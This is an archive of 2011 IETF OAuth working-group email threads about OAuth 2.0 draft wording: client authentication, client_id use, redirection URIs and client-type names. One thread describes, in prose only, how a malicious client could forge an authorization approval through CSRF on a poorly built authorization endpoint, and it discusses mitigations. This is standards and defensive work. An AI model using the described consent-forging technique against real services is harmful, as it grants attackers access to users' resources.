Torsten Lodderstedt[mailto:tors...@lodderstedt.net] mailto:[mailto:tors...@lodderstedt.net] Sent: Friday, July 08, 2011 12:59 AM To: Eran Hammer-Lahav; OAuth WG Subject: RE: Section 10.1 (Client authentication) seems you are contradicting yourself. You criticised the MUST and suggested to include some examples. I bought into your argument and suggested to refer to the security doc for examples and additional explanations. That's what this document is intended for, to provide background beyond what we can cover in the core spec. And I don't think the spec already makes that point. But you are free to refer me to the respective text. regards, Torsten. Eran Hammer-Lahave...@hueniverse.com mailto:e...@hueniverse.com schrieb: I still don’t find it useful. I think the existing text overall makes this point already. EHL From: Torsten Lodderstedt[mailto:tors...@lodderstedt.net] mailto:[mailto:tors...@lodderstedt.net] Sent: Wednesday, July 06, 2011 12:48 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: Section 10.1 (Client authentication) Hi Eran, I would suggest to change it to SHOULD and add a reference to https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections 3.7 and 5.2.3.
Re: [OAUTH-WG] Comments on -18
-Original Message- From: Torsten Lodderstedt [mailto:tors...@lodderstedt.net] Sent: Monday, July 25, 2011 7:24 AM To: Eran Hammer-Lahav Cc: OAuth WG Subject: Re: [OAUTH-WG] Comments on -18 Hi Eran, section 5.2 The authorization server MAY return an HTTP 401 (Unauthorized) status code to indicate which HTTP authentication schemes are supported. Given the usage of HTTP authentication schemes is the way to authenticated client recommended by the spec, status code 401 should be the default status code for this kind of error. Usage of status code 400 should be the exception. unauthorized_client So above - status code 403 seems to be a more appropriate default. I think this is fine unchanged. Can you please give a rationale? The current text keeps things simple by using a single error code 400, but allowing/requiring the use of 401 when client authentication fails. Whether this is the ideal use of HTTP status codes is open for debate, but even the HTTP experts informed us that we can use 400 for cases that might be more accurately described by a 403. So I rather not change this at this point. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Draft -19
BTW, I'm planning on following -19 with -20 later today with text closing all the remaining issues. EHL From: Eran Hammer-Lahav Sent: Monday, July 25, 2011 1:07 AM To: OAuth WG Subject: Draft -19 Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and the request being discussed on the list to change the public/private client type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Draft -19
Yeah, I'm not going to waste time trying to keep these in sync for now. This will all be done once before IETF LC and then with the RFC editor. EHL From: Mike Jones [mailto:michael.jo...@microsoft.com] Sent: Monday, July 25, 2011 7:24 AM To: Eran Hammer-Lahav; OAuth WG Subject: RE: Draft -19 A few editorial points about references: - the draft is referencing an old draft of the bearer token spec (-04), rather than the current version (-06), - the draft is referencing an old draft of the SAML bearer spec (-03), rather than the current version (-04), - the draft is not referencing the assertions spec draft-ietf-oauth-assertions-00, which would make sense in Section 4.5 (Extensions) Also, the example in 4.5 should be updated to match the current SAML bearer spec: grant_type=http%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F bearerassertion=PEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- Thanks, -- Mike From: oauth-boun...@ietf.orgmailto:oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org]mailto:[mailto:oauth-boun...@ietf.org] On Behalf Of Eran Hammer-Lahav Sent: Monday, July 25, 2011 1:07 AM To: OAuth WG Subject: [OAUTH-WG] Draft -19 Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and the request being discussed on the list to change the public/private client type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Draft -19
The term Redirection URI describes the URI provided by the client throughout the document. The additional parameters added later by the authorization server are part of the redirection request but not the URI provided by the client. EHL -Original Message- From: Lucy Lynch [mailto:lly...@civil-tongue.net] Sent: Monday, July 25, 2011 6:46 AM To: Peter Saint-Andre Cc: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] Draft -19 On Mon, 25 Jul 2011, Peter Saint-Andre wrote: On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: Draft 19 includes all the feedback received for -18: BTW, the diff is here: http://tools.ietf.org/rfcdiff?url2=draft-ietf-oauth-v2-19.txt clarifying question on section 10.1 - I'm reading this as suggested handling for the Client URI portion of a redirection endpoint - is that correct? /psa ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2)
-Original Message- From: Torsten Lodderstedt [mailto:tors...@lodderstedt.net] Sent: Monday, July 25, 2011 7:19 AM To: Eran Hammer-Lahav Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) Hi Eran, Am 25.07.2011 03:28, schrieb Eran Hammer-Lahav: -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 2:15 PM The authorization server redirects the user-agent to the client's redirection URI previously established with the authorization server during the client registration process. Conflicts with section 3.1.2.3, which allows to pass a redirect_uri via URI query parameter. Added 'or when initiating the authorization request' 3.1.2.1 Endpoint Confidentiality What does endpoint confidentiality mean? Which endpoint does this text refer to? The client's redirect_uri endpoint? This is a sub-section of the Redirection URI endpoint. ok, but how can an endpoint be confidential? Good point. I'll change it to 'Endpoint Request Confidentiality'. 3.1.2.5. Endpoint Content As this section discusses security aspects of the client's implementation of the redirect_uri page, shouldn't this go to the security considerations section? I think it is important enough to appear earlier. It is part of my effort to integrate concrete normative language from the security sections up to the protocol sections. Understood and in support for this approach. Wouldn't this mean to remove some text from section 10 in order to prevent redundancies? Which text? Duplication of security text is fine as long as it is consistent. Regarding this particular section: I think the two different issues (transport security and endpoint authenticity) should be presented separately. Which section? EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 15, new client registration
I'll switch to confidential/public. EHL -Original Message- From: Justin Richer [mailto:jric...@mitre.org] Sent: Monday, July 25, 2011 7:41 AM To: Eran Hammer-Lahav Cc: e...@sled.com; Torsten Lodderstedt; OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration I would avoid using the term open here as it has other deep-seated meanings in the software world, particularly with regard to Open Source and Open Standard stuff. FWIW, I think confidential/public or private/public are serviceable. -- Justin On Mon, 2011-07-25 at 02:45 -0400, Eran Hammer-Lahav wrote: How about confidential/open? EHL -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Eran Hammer-Lahav Sent: Friday, July 22, 2011 2:12 PM To: Torsten Lodderstedt; OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 1:59 PM To: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration 2.1 Client types I'm struggeling with the new terminology of private and public clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wording misleading. I would suggest to change it to something like trusted/untrusted or authenticated/unauthenticated or Verifiable/Forgeable. I'm open to changing the names. I don't like trusted/untrusted because OAuth does not define trust. The authenticated/unauthenticated pair is also not ideal because the terms describe the outcome, not the nature of the client. As for verifiable/forgeable, I think these terms are too complicated for a casual reader. My intention with public/private is to identify the nature of the client credentials. So a more verbose version would be 'public credentials/private credentials'. This also works with 'code' instead of 'credentials'. It's clear from the past year of discussions that we need terminology to describe these two types. Any other suggestions? EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] treatment of client_id for authentication and identification
client_id is only required on the authorization endpoint, not the token endpoint. -18 cleaned up how the document talked about client authentication in general. So you should remove client_id from your draft and instead mention client authentication (if appropriate). EHL -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Brian Campbell Sent: Monday, July 25, 2011 7:02 AM To: oauth Subject: [OAUTH-WG] treatment of client_id for authentication and identification I need to revisit a question that came up about two months ago. I thought I had a clear understanding of when client_id was and wasn't included in access token requests but drafts 18/19 seemed to have changed things (or my understanding of 16 was wrong). The question is, when is client_id a required parameter on requests to the token endpoint and when can/should it be omitted? In -16 I was under the impression that client_id was always to be included even when using HTTP Basic or other means of authentication. See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for example. But the text and examples in -18/-19 would suggest that client_id is to be omitted when using HTTP Basic. Text in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and example in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 I don't have a strong preference for either direction but do feel it needs to be more explicitly spelled out. Scenarios that should be accounted for are, for both clients in possession of a client password and clients without, using client_id/client_secret, using HTTP Basic and using other means of authentication/identification. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] treatment of client_id for authentication and identification
How should HTTP Basic be used for a client not in possession of a client secret? On Mon, Jul 25, 2011 at 10:25 AM, Eran Hammer-Lahav e...@hueniverse.com wrote: client_id is only required on the authorization endpoint, not the token endpoint. -18 cleaned up how the document talked about client authentication in general. So you should remove client_id from your draft and instead mention client authentication (if appropriate). EHL -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Brian Campbell Sent: Monday, July 25, 2011 7:02 AM To: oauth Subject: [OAUTH-WG] treatment of client_id for authentication and identification I need to revisit a question that came up about two months ago. I thought I had a clear understanding of when client_id was and wasn't included in access token requests but drafts 18/19 seemed to have changed things (or my understanding of 16 was wrong). The question is, when is client_id a required parameter on requests to the token endpoint and when can/should it be omitted? In -16 I was under the impression that client_id was always to be included even when using HTTP Basic or other means of authentication. See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for example. But the text and examples in -18/-19 would suggest that client_id is to be omitted when using HTTP Basic. Text in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and example in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 I don't have a strong preference for either direction but do feel it needs to be more explicitly spelled out. Scenarios that should be accounted for are, for both clients in possession of a client password and clients without, using client_id/client_secret, using HTTP Basic and using other means of authentication/identification. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] treatment of client_id for authentication and identification
It shouldn't. You are still allowed to reuse client_id outside the specific password credentials use case. Just make sure the way the parameter is defined in v2 is consistent. EHL -Original Message- From: Brian Campbell [mailto:bcampb...@pingidentity.com] Sent: Monday, July 25, 2011 9:28 AM To: Eran Hammer-Lahav Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification How should HTTP Basic be used for a client not in possession of a client secret? On Mon, Jul 25, 2011 at 10:25 AM, Eran Hammer-Lahav e...@hueniverse.com wrote: client_id is only required on the authorization endpoint, not the token endpoint. -18 cleaned up how the document talked about client authentication in general. So you should remove client_id from your draft and instead mention client authentication (if appropriate). EHL -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Brian Campbell Sent: Monday, July 25, 2011 7:02 AM To: oauth Subject: [OAUTH-WG] treatment of client_id for authentication and identification I need to revisit a question that came up about two months ago. I thought I had a clear understanding of when client_id was and wasn't included in access token requests but drafts 18/19 seemed to have changed things (or my understanding of 16 was wrong). The question is, when is client_id a required parameter on requests to the token endpoint and when can/should it be omitted? In -16 I was under the impression that client_id was always to be included even when using HTTP Basic or other means of authentication. See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for example. But the text and examples in -18/-19 would suggest that client_id is to be omitted when using HTTP Basic. Text in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and example in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 I don't have a strong preference for either direction but do feel it needs to be more explicitly spelled out. Scenarios that should be accounted for are, for both clients in possession of a client password and clients without, using client_id/client_secret, using HTTP Basic and using other means of authentication/identification. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Draft -19
On Mon, 25 Jul 2011, Eran Hammer-Lahav wrote: The term Redirection URI describes the URI provided by the client throughout the document. The additional parameters added later by the authorization server are part of the redirection request but not the URI provided by the client. Thanks - EHL -Original Message- From: Lucy Lynch [mailto:lly...@civil-tongue.net] Sent: Monday, July 25, 2011 6:46 AM To: Peter Saint-Andre Cc: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] Draft -19 On Mon, 25 Jul 2011, Peter Saint-Andre wrote: On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: Draft 19 includes all the feedback received for -18: BTW, the diff is here: http://tools.ietf.org/rfcdiff?url2=draft-ietf-oauth-v2-19.txt clarifying question on section 10.1 - I'm reading this as suggested handling for the Client URI portion of a redirection endpoint - is that correct? /psa ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2)
Hi Eran, Regarding this particular section: I think the two different issues (transport security and endpoint authenticity) should be presented separately. Which section? 3.1.2.1. regards, Torsten. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] treatment of client_id for authentication and identification
I'm asking from both an implementation perspective as well as the spec perspective. On the spec side, draft-ietf-oauth-assertions will deal with client_id and while it's currently required I'd guess it will become optional or even forbidden. On the implementation side, let me make sure I understand. Clients without a secret must present client_id on token endpoint requests and must use only that method of identifying themselves? HTTP Basic and other means of client authentication are reserved for clients that actually have some secret to authenticate with? On Mon, Jul 25, 2011 at 10:50 AM, Eran Hammer-Lahav e...@hueniverse.com wrote: It shouldn't. You are still allowed to reuse client_id outside the specific password credentials use case. Just make sure the way the parameter is defined in v2 is consistent. EHL -Original Message- From: Brian Campbell [mailto:bcampb...@pingidentity.com] Sent: Monday, July 25, 2011 9:28 AM To: Eran Hammer-Lahav Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification How should HTTP Basic be used for a client not in possession of a client secret? On Mon, Jul 25, 2011 at 10:25 AM, Eran Hammer-Lahav e...@hueniverse.com wrote: client_id is only required on the authorization endpoint, not the token endpoint. -18 cleaned up how the document talked about client authentication in general. So you should remove client_id from your draft and instead mention client authentication (if appropriate). EHL -Original Message- From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Brian Campbell Sent: Monday, July 25, 2011 7:02 AM To: oauth Subject: [OAUTH-WG] treatment of client_id for authentication and identification I need to revisit a question that came up about two months ago. I thought I had a clear understanding of when client_id was and wasn't included in access token requests but drafts 18/19 seemed to have changed things (or my understanding of 16 was wrong). The question is, when is client_id a required parameter on requests to the token endpoint and when can/should it be omitted? In -16 I was under the impression that client_id was always to be included even when using HTTP Basic or other means of authentication. See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for example. But the text and examples in -18/-19 would suggest that client_id is to be omitted when using HTTP Basic. Text in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and example in http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 I don't have a strong preference for either direction but do feel it needs to be more explicitly spelled out. Scenarios that should be accounted for are, for both clients in possession of a client password and clients without, using client_id/client_secret, using HTTP Basic and using other means of authentication/identification. ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] redirect uri validation
Hi Eran, OAuth 1.0 was highly criticized for failing to address client identity in public clients. I believe OAuth 2.0 offers a much better story, within the boundariesof what’s possible today. Agreed. I think we must honestly discuss the value of client authentication/identification itself. I personally think it is over-emphazised right now. The strength of OAuth 2.0 is that it allows solutions where neither client nor resource server have access or do store end-user credentials. Client authentication is nice but not the main feature. Do you have any specific suggestions not already mentioned on the list? I would suggest to mention that while an invalid redirect_uri indicates a counterfeit clients a valid redirect does not prove the calling client's identity. regards, Torsten. EHL ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
[OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration
Forwarded as per Eran's request. A couple of corrections to my original email: 1. By AJAX, I mean, AJAX like techniques (if the user agent does not enforce same origin policy). 2. When saying POST to '/authorize_callback' -- it may well be GET, if the authorization server mishandles the request. Thank you, Niv -- Forwarded message -- From: Eran Hammer-Lahav e...@hueniverse.com Date: Tue, Jul 26, 2011 at 01:21 Subject: RE: Several typos in -20 and a possible security consideration To: Niv Steingarten nivst...@gmail.com Please forward this message to the oauth list at oa...@ieft.org. ** ** Thanks, ** ** EHL ** ** *From:* Niv Steingarten [mailto:nivst...@gmail.com] *Sent:* Monday, July 25, 2011 2:52 PM *To:* draft-ietf-oauth...@tools.ietf.org *Subject:* Several typos in -20 and a possible security consideration ** ** Hello, ** ** I've noticed a couple of typos in -20: ** ** Section 6 (page 41): Under 'The authorization server MUST', the second bullet should end with the word and, and the third bullet should end with a full-stop. Section 10.2 (first paragraph): ...keep is client credentials confidential should be ...keep *its* client credentials confidential. ** ** Regarding the security consideration -- ** ** I might be missing something, but I saw there are references to clickjacking and to client impersonation, but I haven't seen any reference to possible resource owner impersonation. For example, in the implicit grant flow, a malicious client could send a request to the authorization endpoint via, say, AJAX, and receive the markup of the page asking the resource owner to authorize the client (assuming the resource owner is signed in and no resource owner authentication is required). Then, in a poorly designed authorization endpoint, the 'Allow' button might be the submission button of a form whose target is '/authorize_callback' on the authz server. Then, it may possible for the malicious client to simply POST to '/authorize_callback' and authorize itself without any resource owner intervention or knowledge that the process has even taken place. This, of course, can be mitigated in most modern browsers if the authorization server verifies the source of the request using the HTTP referrer header. ** ** Thanks for your time and for the fantastic work on OAuth, ** ** -- *Niv Steingarten* ** ** T: +972-54-5828088 E: nivst...@gmail.com W: http://nivstein.com ** ** -- *Niv Steingarten* *** * T: +972-54-5828088 E: nivst...@gmail.com W: http://nivstein.com ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration
Hi Niv, thank you for posting this to the list. I think you are right with your threat description. One question: shouldn't the browser already prevent the request to the authorization endpoint because of the same origin policy (or CORS restrictions)? Apart from that, a similar attack can be performed by a native applicication (using an embedded browser). This kind of attack could not be prevented using HTTP features but by enforcing a real user interaction (password input, CAPTCHA). regards, Torsten. Am 25.07.2011 18:27, schrieb Niv Steingarten: Forwarded as per Eran's request. A couple of corrections to my original email: 1. By AJAX, I mean, AJAX like techniques (if the user agent does not enforce same origin policy). 2. When saying POST to '/authorize_callback' -- it may well be GET, if the authorization server mishandles the request. Thank you, Niv -- Forwarded message -- From: *Eran Hammer-Lahav* e...@hueniverse.com mailto:e...@hueniverse.com Date: Tue, Jul 26, 2011 at 01:21 Subject: RE: Several typos in -20 and a possible security consideration To: Niv Steingarten nivst...@gmail.com mailto:nivst...@gmail.com Please forward this message to the oauth list at oa...@ieft.org mailto:oa...@ieft.org. Thanks, EHL *From:*Niv Steingarten [mailto:nivst...@gmail.com mailto:nivst...@gmail.com] *Sent:* Monday, July 25, 2011 2:52 PM *To:* draft-ietf-oauth...@tools.ietf.org mailto:draft-ietf-oauth...@tools.ietf.org *Subject:* Several typos in -20 and a possible security consideration Hello, I've noticed a couple of typos in -20: Section 6 (page 41): Under 'The authorization server MUST', the second bullet should end with the word and, and the third bullet should end with a full-stop. Section 10.2 (first paragraph): ...keep is client credentials confidential should be ...keep *its* client credentials confidential. Regarding the security consideration -- I might be missing something, but I saw there are references to clickjacking and to client impersonation, but I haven't seen any reference to possible resource owner impersonation. For example, in the implicit grant flow, a malicious client could send a request to the authorization endpoint via, say, AJAX, and receive the markup of the page asking the resource owner to authorize the client (assuming the resource owner is signed in and no resource owner authentication is required). Then, in a poorly designed authorization endpoint, the 'Allow' button might be the submission button of a form whose target is '/authorize_callback' on the authz server. Then, it may possible for the malicious client to simply POST to '/authorize_callback' and authorize itself without any resource owner intervention or knowledge that the process has even taken place. This, of course, can be mitigated in most modern browsers if the authorization server verifies the source of the request using the HTTP referrer header. Thanks for your time and for the fantastic work on OAuth, -- *Niv Steingarten* T:+972-54-5828088 E: nivst...@gmail.com mailto:nivst...@gmail.com W:http://nivstein.com -- *Niv Steingarten* * * T:+972-54-5828088 E: nivst...@gmail.com mailto:nivst...@gmail.com W:http://nivstein.com ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration
Yes, I believe the vast majority of user-agents would block this kind of request if it originated from a JavaScript XMLHttpRequest or such. However, there are still scenarios in which a user-agent based client could manipulate this vulnerability. For example, the client could launch the GET request to the authorization server via an img HTML tag, taking the form of a CSRF. Since it's a blind attack, the client would likely not receive the contents of the web-page. However, this request is still necessary from the client since it has the side-effect of creating an access token (or other temporary token) on the authorization server. Since it is highly likely that a malicious client has a priori knowledge of the structure of the authorization page and form, it does not need the response in order to advance to the next step, and can simply send the fake request to 'Allow' itself to access the resource owner's resources. I believe this attack could be made very hard by either including a CAPTCHA, as you suggested, or including some kind of token or nonce in the submission of the form (which would still not prevent the attack if the authorization server doesn't enforce same origin policy). Niv On Tue, Jul 26, 2011 at 02:10, Torsten Lodderstedt tors...@lodderstedt.net wrote: Hi Niv, thank you for posting this to the list. I think you are right with your threat description. One question: shouldn't the browser already prevent the request to the authorization endpoint because of the same origin policy (or CORS restrictions)? Apart from that, a similar attack can be performed by a native applicication (using an embedded browser). This kind of attack could not be prevented using HTTP features but by enforcing a real user interaction (password input, CAPTCHA). regards, Torsten. Am 25.07.2011 18:27, schrieb Niv Steingarten: Forwarded as per Eran's request. A couple of corrections to my original email: 1. By AJAX, I mean, AJAX like techniques (if the user agent does not enforce same origin policy). 2. When saying POST to '/authorize_callback' -- it may well be GET, if the authorization server mishandles the request. Thank you, Niv -- Forwarded message -- From: Eran Hammer-Lahav e...@hueniverse.com Date: Tue, Jul 26, 2011 at 01:21 Subject: RE: Several typos in -20 and a possible security consideration To: Niv Steingarten nivst...@gmail.com Please forward this message to the oauth list at oa...@ieft.org. Thanks, EHL From: Niv Steingarten [mailto:nivst...@gmail.com] Sent: Monday, July 25, 2011 2:52 PM To: draft-ietf-oauth...@tools.ietf.org Subject: Several typos in -20 and a possible security consideration Hello, I've noticed a couple of typos in -20: Section 6 (page 41): Under 'The authorization server MUST', the second bullet should end with the word and, and the third bullet should end with a full-stop. Section 10.2 (first paragraph): ...keep is client credentials confidential should be ...keep *its* client credentials confidential. Regarding the security consideration -- I might be missing something, but I saw there are references to clickjacking and to client impersonation, but I haven't seen any reference to possible resource owner impersonation. For example, in the implicit grant flow, a malicious client could send a request to the authorization endpoint via, say, AJAX, and receive the markup of the page asking the resource owner to authorize the client (assuming the resource owner is signed in and no resource owner authentication is required). Then, in a poorly designed authorization endpoint, the 'Allow' button might be the submission button of a form whose target is '/authorize_callback' on the authz server. Then, it may possible for the malicious client to simply POST to '/authorize_callback' and authorize itself without any resource owner intervention or knowledge that the process has even taken place. This, of course, can be mitigated in most modern browsers if the authorization server verifies the source of the request using the HTTP referrer header. Thanks for your time and for the fantastic work on OAuth, -- Niv Steingarten T: +972-54-5828088 E: nivst...@gmail.com W: http://nivstein.com -- Niv Steingarten T: +972-54-5828088 E: nivst...@gmail.com W: http://nivstein.com ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
[OAUTH-WG] Extra Authorization: Basic lines in examples
In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain both the line Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW and credentials in the post body. For instance, the example from 4.3.2 is: POST /token HTTP/1.1 Host: server.example.com Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW Content-Type: application/x-www-form-urlencoded;charset=UTF-8 grant_type=passwordusername=johndoepassword=A3ddj3w I believe that the Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW line should be deleted from all of these examples, as you either use Basic or credentials in the post body, but not both. Thanks, -- Mike ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Extra Authorization: Basic lines in examples
Mike - I don't think that's true for the resource owner password credentials flow that you showed below. The Authorization header is authenticating the client, the username/password POST body params represent the resource owner. From: Mike Jones michael.jo...@microsoft.com To: oauth@ietf.org oauth@ietf.org Date: 26-07-11 02:31 PM Subject:[OAUTH-WG] Extra Authorization: Basic lines in examples Sent by:oauth-boun...@ietf.org In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain both the line “Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW” and credentials in the post body. For instance, the example from 4.3.2 is: POST /token HTTP/1.1 Host: server.example.com Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW Content-Type: application/x-www-form-urlencoded;charset=UTF-8 grant_type=passwordusername=johndoepassword=A3ddj3w I believe that the “Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW” line should be deleted from all of these examples, as you either use Basic or credentials in the post body, but not both. Thanks, -- Mike ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Extra Authorization: Basic lines in examples
The Authorization header in those examples is authorizing the client. In 4.1.3 the /token URI requires HTTP basic authorization to access. Section 2.4 talks about this more. -Bob On Mon, Jul 25, 2011 at 9:27 PM, Mike Jones michael.jo...@microsoft.com wrote: In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain both the line “Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW” and credentials in the post body. For instance, the example from 4.3.2 is: POST /token HTTP/1.1 Host: server.example.com Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW Content-Type: application/x-www-form-urlencoded;charset=UTF-8 grant_type=passwordusername=johndoepassword=A3ddj3w I believe that the “Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW” line should be deleted from all of these examples, as you either use Basic or credentials in the post body, but not both. Thanks, -- Mike ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Extra Authorization: Basic lines in examples
I believe those examples are okay. The content in the post body is the grant while the HTTP Basic Authorization header is the client authentication. They are two different things. On Mon, Jul 25, 2011 at 10:27 PM, Mike Jones michael.jo...@microsoft.com wrote: In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain both the line “Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW” and credentials in the post body. For instance, the example from 4.3.2 is: POST /token HTTP/1.1 Host: server.example.com Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW Content-Type: application/x-www-form-urlencoded;charset=UTF-8 grant_type=passwordusername=johndoepassword=A3ddj3w I believe that the “Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW” line should be deleted from all of these examples, as you either use Basic or credentials in the post body, but not both. Thanks, -- Mike ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
Re: [OAUTH-WG] Extra Authorization: Basic lines in examples
